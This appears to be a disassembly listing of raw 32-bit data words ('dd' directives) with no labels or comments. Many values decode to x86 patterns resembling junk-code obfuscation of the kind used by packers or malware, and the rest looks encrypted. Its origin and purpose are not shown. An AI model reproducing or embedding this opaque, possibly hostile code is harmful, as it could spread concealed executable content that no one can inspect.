		dd 66557CC3h, 8334A2BFh, 0E42995BDh, 850F0105h,	88h, 0D55FBB66h
		dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 2C17FBC3h, 58C0FF9h, 66000000h, 7C4BDF81h
		dd 895F5250h, 10E82404h, 0C3000000h, 0ECA1EC12h, 13B9125Eh
		dd 96DE2AB4h, 603EEAB6h, 0FE59D89h, 830F05E4h, 0
		dd 95FF5F61h, 5E41045h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 74C35343h, 9DE545EBh,	0BD8BFED1h, 5E42325h
		dd 0D9FE9h, 0E800h, 815D0000h, 0E84B35EDh, 0F8BF0F05h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 45C35040h
		dd 9D8B1208h, 5E43175h,	8DCCEB80h, 0E7816885h, 0FE905h
		dd 0FF6C0000h, 0CDD826DCh, 9448E619h, 96231185h, 6E850A1h
		dd 23000000h, 0D9838F86h, 0CE857h, 19620000h, 0AD3650CDh
		dd 841C17ABh, 0BF661FD3h, 5B5FAEF8h, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8836C351h, 5239227Ch, 245ABF22h, 31C9BB66h, 3C9B529h
		dd 0FF6405E4h, 35h, 81665000h, 5BCF6BDBh, 896421B3h, 25h
		dd 8B605000h, 219D01FAh, 6105E402h, 2D85FF5Fh, 8105E414h
		dd 0C5E217CFh, 0F8FF6A12h, 25F5B5FFh, 0CE905E4h, 98000000h
		dd 318269Ch, 0B0DEFC03h, 0FFCDAA54h, 0E42DAD95h, 0F8E905h
		dd 0B00000h, 4860Fh, 0BB660000h, 70E623FFh, 14898589h
		dd 71E405E4h, 11E9h, 0AAA64000h, 0AC5BC517h, 0A6EBFFD1h
		dd 83BF21D3h, 9D8B6609h, 5E4253Dh, 830F613Ch, 0BEh, 0FF62E781h
		dd 0B60F36B5h, 6870FC8h, 23000000h, 0E400B1BDh,	0C7816605h
		dd 6BA18EEh, 8B000000h,	4E8C1C1h, 5820Fh, 75BF0000h, 0B7624C09h
		dd 0E2F7660Ch, 77B2C381h, 0C82B3BBDh, 0D18BF98Bh, 15E9F9h
		dd 10E90000h, 0E6000000h, 90628C4Ah, 630227Dh, 65021598h
		dd 8BC4D1E3h, 0E4029985h, 27F38105h, 836DB76Fh,	0F5707C0h
		dd 58Ch, 0F3816600h, 835BDBA4h,	0D03B00C0h, 0B830Fh, 9D890000h
		dd 5E419B9h, 31E9h, 958D8B00h, 8305E408h, 840F01E1h, 22h
		dd 0A583FE8Bh, 5E40895h, 0BD0B53FEh, 5E402D1h, 9995895Bh
		dd 8B05E402h, 0E42B499Dh, 0E905h, 0B58D0000h, 5E7D078h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DAC35141h
		dd 0D88B66EDh, 12F58D01h, 6A05E4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 9DC35343h, 11959D8Bh, 95FF05E4h
		dd 5E410C1h, 0A27B9h, 0FCE18300h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D5C35343h,	0FE93Bh, 0BAFF0000h
		dd 4EA70CCFh, 0CCB41DF1h, 84CBD04Fh, 419D8BD0h,	0FC05E432h
		dd 8E9h, 261E7100h, 0A90CF97Ah,	0B85Fh,	90BF0000h, 0BA253D72h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 20C35141h
		dd 14E88Fh, 13BC0000h, 4A9D54A9h, 0C9B33A11h, 0E4D2E5F8h
		dd 0B145AFA4h, 81669661h, 5B1969CFh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0A8C0FF5h, 60000000h, 0E97FBF66h, 80E1B866h
		dd 880D61h, 0BB570000h,	12F22874h, 95958B5Fh, 0F05E410h
		dd 0EE9DBB7h, 0E9000000h, 741861DBh, 0F89A0361h, 0D1BF7F5Ch
		dd 658D8B28h, 8105E42Ch, 877759D3h, 0C28B5065h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BCB8C355h
		dd 5660B2DAh, 1F71B533h, 0B15A05E4h, 10E861D1h,	6A000000h
		dd 4B5EB7F2h, 54FEA495h, 0B8DA0248h, 0B77EBD85h, 6A5B51h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 16E98AC3h, 0BD8325C9h, 5E42135h, 4B840F00h, 0B8000000h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 95C35040h
		dd 50CF4EBDh, 0EE9h, 0D895A700h, 9BCD5292h, 9296123Dh
		dd 66304D90h, 8D4353BBh, 0E44C308Dh, 0BF7FBF05h, 0E1FF142Eh
		dd 0BD83FE8Bh, 5E430FDh, 0A4840F00h, 6A000004h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A7AFC356h, 8BBE3BBBh, 0FDBD83DEh, 105E430h,	490840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0AF6AF6C3h, 6DBD296Bh, 8305E400h,	0E430FDBDh
		dd 860F0305h, 428h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F0C35242h, 0B9C752BCh, 8BF5BBFEh, 6A606E74h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 39C5C357h, 52D4F6B3h, 8F0FB4CFh, 6, 21519D8Bh
		dd 8C6605E4h, 0DFBF0FD9h, 0CD7F81BBh, 4E1807Fh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 32C35141h, 21C4A923h
		dd 153D8D31h, 0C90A05E4h, 153840Fh, 9D8B0000h, 5E40215h
		dd 68C0Fh, 95290000h, 5E4096Dh,	2C9D858Bh, 0DBBF05E4h
		dd 96BE871h, 0E419A9B5h, 99853305h, 6A05E420h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 94E2C355h, 788DC0B7h, 0B58944B7h, 5E41431h, 2D8D29h
		dd 0BD0305E4h, 5E41649h, 0D98B6690h, 12E950h, 855F0000h
		dd 0E4ECA7CAh, 0F6B0D04Eh, 68EC6B3Bh, 5E9FE156h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 50AA59DEh, 0E439BC6Dh, 45BD8B56h, 5B05E41Ah,	9D2B006Ah
		dd 5E41BC1h, 3223EF68h,	9BB66E2h, 24048159h, 1DECE010h
		dd 31019D8Bh, 95FF05E4h, 5E40159h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E9C35545h,	21DD32CEh, 85890FA1h
		dd 5E79F5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	1CC35545h, 9A23B5CDh, 19619D29h, 0B7E905E4h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E887C350h, 14h, 74221981h, 9109D443h, 9F27EAA9h
		dd 0D2FEFA04h, 1EA3E3AFh, 57858B5Fh, 6A05E79Fh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0A20C355h, 1800C70Eh, 1000000h, 0E413E98Dh, 5BB58B05h
		dd 8905E79Fh, 0E427D1BDh, 21858B05h, 0F05E42Ah,	687h, 0B9852900h
		dd 8905E424h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 1533FCC6h, 0A791DFABh, 0A98529FDh
		dd 6605E425h, 858BD88Bh, 5E42C9Dh, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 23F0C353h, 0EC6EB4E7h, 0F18D29DDh, 9605E422h, 50F88B66h
		dd 6A96FB8Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 83D4C357h, 7429224Ch, 26A59D8Bh
		dd 0B5FF05E4h, 5E79F57h, 26819D8Bh, 5D6805E4h, 0BFB1C91Ah
		dd 1A62DB2Dh, 0A2240481h, 6A4E55E9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 335EC350h
		dd 0E94FDB5Fh, 97BF28E1h, 8D690FF1h, 0E79F5F85h, 0BD316005h
		dd 5E41D29h, 17D9850Bh,	506105E4h, 0C296BB66h, 8B240489h
		dd 5995FFDEh, 6A05E401h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C9E3C356h,	0BFEC30C8h
		dd 13E8h, 7B22B600h, 8EECF10Fh,	5C079C87h, 0F345E1FCh
		dd 0FA05B63Bh, 56615BF9h, 14840Fh, 0FE90000h, 84000000h
		dd 0CC0212B1h, 8683067Dh, 3A2CEFh, 0B5B25FCh, 0E40D199Dh
		dd 0FD85C705h, 305E430h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A041C353h
		dd 0B28392BBh, 9F5FBD83h, 0F0005E7h, 6784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 2B78D6E0h, 0E431199Dh, 0F19D8B05h, 0E905E42Ch, 53h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 10C35242h
		dd 0F51CB6B0h, 38BBB1E4h, 0E864F936h, 5, 0EBC5E79Ah, 0B5B529D4h
		dd 5B05E419h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 80C08B00h, 6ACEC3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 83116EC3h, 0E430FDBDh, 850F0305h
		dd 447h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	5C35242h, 4B7BEE7Fh, 0AE930h, 0EE570000h, 4A5490E3h
		dd 0AACAD6A2h, 9F5FBD83h, 0F0005E7h, 40A84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 9640FC2Dh, 27C99D89h, 816605E4h, 0FF7B75C7h,	0E79F5FB5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 1595FFC7h, 6A05E41Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8C5FC352h
		dd 0D72BAB61h, 8B605052h, 0E41DC19Dh, 480FB805h, 5B616D55h
		dd 53B58BF5h, 8905E79Fh, 0E424EDB5h, 71B58905h,	0C705E41Fh
		dd 1000106h, 69B50900h,	9605E424h, 14E9h, 0BDE70200h, 49231298h
		dd 68B2ED3Fh, 8EBBECACh, 54A36114h, 0BB6650DFh,	6A9685ADh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 2A25C357h, 5FB5FFC5h, 6A05E79Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0A07EC352h, 0D66EFE5Eh, 0E8B8A62Eh, 7, 2A61FD17h, 60ECA379h
		dd 17198D0Bh, 0F78B05E4h, 95FF5B61h, 5E4172Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BCC35343h, 0E522706Dh
		dd 8B818FF4h, 0E79F53B5h, 70E38105h, 8B199427h,	0E41D1D85h
		dd 0DB816605h, 86899158h, 0C4h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0A5C35040h,	60ED5502h, 1499094Ch
		dd 2B899D8Bh, 958B05E4h, 5E41095h, 1401BD89h, 0C28305E4h
		dd 11E904h, 5CB50000h, 0E3E7E8CAh, 6D62C3DBh, 9E75C9C6h
		dd 896E20D0h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 56CC8DC3h, 0DE8h, 42C8100h, 4F7192B1h
		dd 0F05386AFh, 0BD8BDF5Ah, 5E4280Dh, 84858D5Fh,	5105E7B3h
		dd 0A8E78166h, 86895F59h, 0B8h,	318DBD8Bh, 896005E4h, 0E4167DB5h
		dd 0E5BD8905h, 6105E422h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 32649AC3h, 40581C2Bh
		dd 0CE9D2h, 0AB3F0000h,	7C16C279h, 522D030h, 0EF81CAAEh
		dd 4841705Eh, 9F5FB5FFh, 9D8B05E7h, 5E41759h, 104595FFh
		dd 0BD8B05E4h
		dd 5E41CC1h, 8E0F5196h,	0Ah, 5E9h, 0F5A63500h, 505F8FB6h
		dd 6A96ADB3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 2AD4C353h, 8719CC7Eh, 0FFD7F5A1h
		dd 0E79F5FB5h, 0C9BD0905h, 0FF05E432h, 0E4136595h, 59958905h
		dd 8305E42Ah, 0E408F9BDh, 840F0005h, 1Eh, 28359589h, 0F5005E4h
		dd 885h, 890F5100h, 0
		dd 2434895Fh, 4199589h,	0B5FF05E4h, 5E79F5Fh, 0BE8h, 2D806800h
		dd 8C49FE93h, 4EA5F4ABh, 6850Fh, 850F0000h, 0
		dd 0C595FF5Bh, 6A05E429h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 576DC352h, 7DC1D3C6h
		dd 6FD55D29h, 38E0Fh, 0F9600000h, 5FB5FF61h, 2B05E79Fh
		dd 0E424619Dh, 0B99D8B05h, 0FF05E410h, 0E4197195h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 820F4603h, 6, 2E859D8Bh, 852905E4h, 5E42395h, 3125BD83h
		dd 0F0205E4h, 4A84h, 0D9858900h, 8B05E408h, 0E4119185h
		dd 0AE805h, 0B7590000h,	0BB80666Fh, 758B56B2h, 0C65Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8C35747h
		dd 9E786E88h, 0CA4149BDh, 11BD895Bh, 0C705E429h, 0E419E585h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 159F7ECFh, 0E9B50FFFh, 0FFFFF375h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A1C35747h
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0E0ECC3C3h, 0F8B70FA4h, 19D5858Dh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 3CDCAC3h, 0DE9A6h, 10E00000h, 0AD053BB8h, 0D0D02EB8h
		dd 50751202h, 8B665250h, 66310FD8h, 5A3547BFh, 24048958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 73C35343h
		dd 22119D89h, 505605E4h, 5BF88B66h, 80006A5Bh, 6A2CF3h
		dd 0BE9h, 6EFB8500h, 0C1B5BB09h, 0F299FF4Fh, 5AE0858Dh
		dd 0BD2905E8h, 5E41141h, 6A05C083h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3539C353h
		dd 4C3DE5A5h, 12E91654h, 15000000h, 62D885A5h, 42112224h
		dd 78C933F0h, 0D32B87B3h, 899D8B94h, 9005E425h,	0AEBEBB66h
		dd 0EE96050h, 66000000h, 5D66A23Ah, 9F3790FCh, 0C47FFB54h
		dd 6A9061AFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 3C6EC352h, 0EF04741h, 964E68Dh
		dd 0E40FB195h, 6A006A05h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 834BC357h, 66006A35h
		dd 0FF7A70BBh, 0E421A195h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 4F3B0AC7h
		dd 9E7F8D8Dh, 8D8905E7h, 5E41C69h, 0BE8h, 5752AC00h, 73C01D25h
		dd 0BFFB94F6h, 5BD98B66h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 57C876C3h, 3B0B0BBBh
		dd 0FBBF0F6Eh, 2800Fh, 0F98A0000h, 2995BD83h, 0F0105E4h
		dd 4C85h, 18D8900h, 6A05E422h, 51006A02h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 590E0473h
		dd 29E799BAh, 0E41F15B5h, 4895005h, 0D3C38124h,	0FF294C0Ah
		dd 0E4104595h, 6860F05h, 89000000h, 0E419C5B5h,	0DBAE905h
		dd 0E80000h, 5D000000h,	5AEAED81h, 0DB8005E8h, 10E898h
		dd 8F3F0000h, 0ADA95A22h, 6EA19E14h, 7A172917h,	0D781DD50h
		dd 15BFF571h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8D1C8A29h, 0E7816885h, 5090F805h
		dd 4FEFBF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 2482AC96h, 35FF6442h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 60C35646h
		dd 9E034531h, 89640F56h, 25h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 4975B208h
		dd 0F6C38166h, 0FBB70FE3h, 142D85FFh, 6E805E4h,	0C4000000h
		dd 0F47D629h, 0F88B660Dh, 6AFF6A5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 566AC353h
		dd 0FE8CC73h, 82000000h, 9E79EA2h, 0AE23992h, 29F53BC8h
		dd 0CE85485h, 0B0000000h, 5B97F947h, 471DC256h,	0E993C79Ch
		dd 0Ch,	17998A94h, 0FD322EAAh, 0AF0472AEh, 12E95F5Bh, 83000000h
		dd 30470177h, 0FCEE6635h, 0A5BDA29Bh, 4D0B257Dh, 5DB5FF09h
		dd 8B05E400h, 0E417399Dh, 0AD95FF05h, 0E905E42Dh, 142h
		dd 5890Fh, 80570000h, 0B05F36C7h, 7E900h, 10DB0000h, 0D7BFD5ADh
		dd 8970E6F6h, 0E414F595h, 8971E405h, 0E421F18Dh, 0F613C05h
		dd 11183h, 2820F00h, 8B000000h,	0C8B60FD9h, 5E9h, 17578400h
		dd 6BAAAE8h, 0E8000000h, 5, 0F6F1994Ch,	398D894Ah, 5B05E412h
		dd 14E9C18Bh, 0D1000000h, 36E594E8h, 0BE99C3E8h, 0E0C22B18h
		dd 476F9EDAh, 0C15069DEh, 9D8B04E8h, 5E42459h, 0E9E2F766h
		dd 9, 0D37AC04Eh, 554949B5h, 0FC82BE2h,	0D18BF9B7h, 7ACEBB66h
		dd 2E9h, 8BFE8B00h, 0E40D7D85h,	0CD958905h, 8305E40Fh
		dd 0BD3307C0h, 5E412F5h, 8B00C083h, 0E41AA1BDh,	0FD03B05h
		dd 2483h, 8B0F6000h, 6,	1245958Bh, 800F05E4h, 5, 0D49B47BBh
		dd 5BE96152h, 9000000h,	0E4140195h, 358D8B05h, 0F05E417h
		dd 686h, 75BD8900h, 0E905E423h,	7, 0A605EA97h, 836C5B85h
		dd 840F01E1h, 2Eh, 66F96060h, 4720C181h, 99B58B61h, 6105E422h
		dd 1735A583h, 0FFE05E4h, 187h, 9589F900h, 5E40D7Dh, 1EE3E3BFh
		dd 0E940h, 0B58D0000h, 5E7DC7Eh, 0F3BF0F60h, 26F18166h
		dd 6A61B7h, 23199D03h, 0E85605E4h, 9, 0F0166E3Eh, 717052A7h
		dd 0D88B665Dh, 95FF5F5Bh, 5E410C1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0A9C35747h,	74315BBh, 0BD8BCD4Dh
		dd 5E4312Dh, 7C4B9h, 5890F00h, 66000000h, 0BB53DF81h, 66FCE183h
		dd 562ED381h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 5941D68Bh, 816682FBh, 0B8C725CBh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1AC35646h
		dd 5BF9836Fh, 3CB0320h,	0E41399BDh, 0BA05h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A4676AC3h, 270F6BBh, 0C233AD48h, 0D003E8D1h, 7504E983h
		dd 52006AF4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 62B319E5h, 6830Fh, 0B5890000h, 5E42295h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 68C35545h
		dd 1EE19D8Bh, 880D05E4h, 8B000000h, 0E42C39BDh,	95958B05h
		dd 6A05E410h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0B824C351h, 0C331B65Fh, 0FABF0FF0h
		dd 2C658D8Bh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0C32629C3h, 0C172EDFFh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D095818h,	5E41D9Dh
		dd 2135BD83h, 0F0005E4h, 3D84h,	0ADBD8B00h, 0B805E425h
		dd 0
		dd 26C99589h, 8D8D05E4h, 5E44C30h, 0FF9DDB80h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 80ED3DCCh, 0BD8378E7h, 5E430FDh, 0B5840F00h,	66000004h
		dd 7D0DE381h, 0BD83DE8Ah, 5E430FDh, 0BC840F01h,	6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0CEA2C351h, 15F09435h, 8B45552Ah,	0E4266DBDh
		dd 20B76005h, 0FDBD8361h, 305E430h, 44B860Fh, 10E90000h
		dd 0DE000000h, 7D2A0D75h, 7094B5C4h, 5CEB2E3h, 603BC382h
		dd 28799D8Bh, 8C6605E4h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0A4E21B5Ah, 1CE31A9Dh
		dd 4DBD0950h, 8005E41Ah, 0FC8A04E1h, 840FC90Ah,	168h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h, 0BEAAC7BDh
		dd 0F98B662Bh, 2C9D858Bh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 8CF65BC3h, 0C6F8546Eh
		dd 31F98BEEh, 0E408D9B5h, 99853305h, 6A05E420h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 5970C353h, 57892744h, 1AF59D8Bh, 605B05E4h, 6348B966h
		dd 4B79D981h, 90614990h, 0BB5024B3h, 1E5C21D7h,	2D9D0390h
		dd 6A05E411h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 12E9EEh, 5A8B0000h, 56083998h, 4535D941h
		dd 0E796E1CFh, 6B748A71h, 0EE9h, 7DE1C400h, 0C444A809h
		dd 0E7481F52h, 0E9D7B183h, 8, 566DF238h, 34F951Ch, 0D2BDC668h
		dd 81D98B36h, 0BE392434h, 0BD0136CDh, 5E40D65h,	15995FFh
		dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 8A1DD7C3h, 0BC3A0088h, 9F5F8589h,	9D8905E7h
		dd 5E4113Dh, 228E9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0CB925BBh, 0BD8BF0E9h
		dd 5E40FA5h, 9F57858Bh,	0C7F505E7h, 1800h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0B58B1B7Ch, 5E79F5Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 1EC35747h, 8EC0B9Eh, 8B5417B3h, 0E42A2185h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 6EF24B6Dh, 5E9h,	0D1174600h, 10E9DF30h
		dd 48000000h, 122B4843h, 8ABF5224h, 0D3259552h,	8907B92Eh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0CF306183h, 13F429A2h, 0BD0BEC41h, 5E42B91h
		dd 2C9D858Bh, 0BF6605E4h, 4689B634h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6660EECEh
		dd 7B0E381h, 1DBD8B60h,	8B05E41Fh, 0E413B5BDh, 50616105h
		dd 0D98B5250h, 12E8310Fh, 8C000000h, 0D39A04BFh, 0F16C7455h
		dd 9A0E27F3h, 94A094A5h, 585A5B7Dh, 8B243489h, 0E4200D9Dh
		dd 57B5FF05h, 0F05E79Fh, 38Fh, 0DE8B6600h, 0B9DBEE68h
		dd 505250F7h, 0F5F5052h, 9450BF31h, 585A1109h, 13E8310Fh
		dd 0C0000000h, 1DCD14CAh, 5829BEB8h, 4CDDDFC7h,	2A9AC574h
		dd 5F5668C4h, 81585A5Fh, 28112404h, 858D0865h, 5E79F5Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F8C35242h
		dd 8901E160h, 0B70F0C76h, 0EABB90FFh, 505ACE52h, 6A90F88Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0DD80C353h, 81264237h, 55CECD7h, 5995FF35h
		dd 6A05E401h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 8CF7C352h, 30CA1439h, 0DBE17A7Eh
		dd 0C832AEBFh, 8C0F616Eh, 6, 1731B589h,	8D8905E4h, 5E430F9h
		dd 30FD85C7h, 305E4h, 81660000h, 8344CFE7h, 0E79F5FBDh
		dd 840F0005h, 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 89C35242h, 832C86AEh,	9DF9ED24h, 3E7801Dh
		dd 4BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0CF44413Bh, 6D9D8B76h, 0F05E425h
		dd 48Ch, 81BF6600h, 0C305067h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 311DBD8Bh, 0C38105E4h, 1D3CE102h
		dd 30FDBD83h, 0F0305E4h, 3A285h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0A9A7CDA6h
		dd 0B5895250h, 5E42DB1h, 9F5FBD83h, 0F0005E7h, 36E84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 369F09AAh, 359D8B22h, 0FF05E41Ch, 0E79F5FB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0C9FFFF45h, 6CDE004Ch, 9D8B31A3h, 5E40061h
		dd 1C1595FFh, 3BB05E4h,	8B03B2A1h, 0E79F53B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0A9D0DD9Bh, 6C78C7Bh, 10001h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 18h, 70C35646h, 86F894FDh, 2D699529h
		dd 0BF6605E4h, 0F96BD57h, 81h, 0FD8A5000h, 52006A96h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 7C5DE694h, 1F79BD8Bh, 9D2305E4h, 5E414C9h, 9F5FB5FFh
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 82A720C3h, 1665871Dh, 89DCAAFDh, 0E41C85B5h
		dd 0D7816605h, 95FFB7FCh, 5E4172Dh, 38C0Fh, 8B660000h
		dd 53B58BDEh, 6A05E79Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 11C351h, 3EA8132Dh
		dd 19D23CAh, 8B05E427h,	0E427A9BDh, 1D858B05h, 6A05E41Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
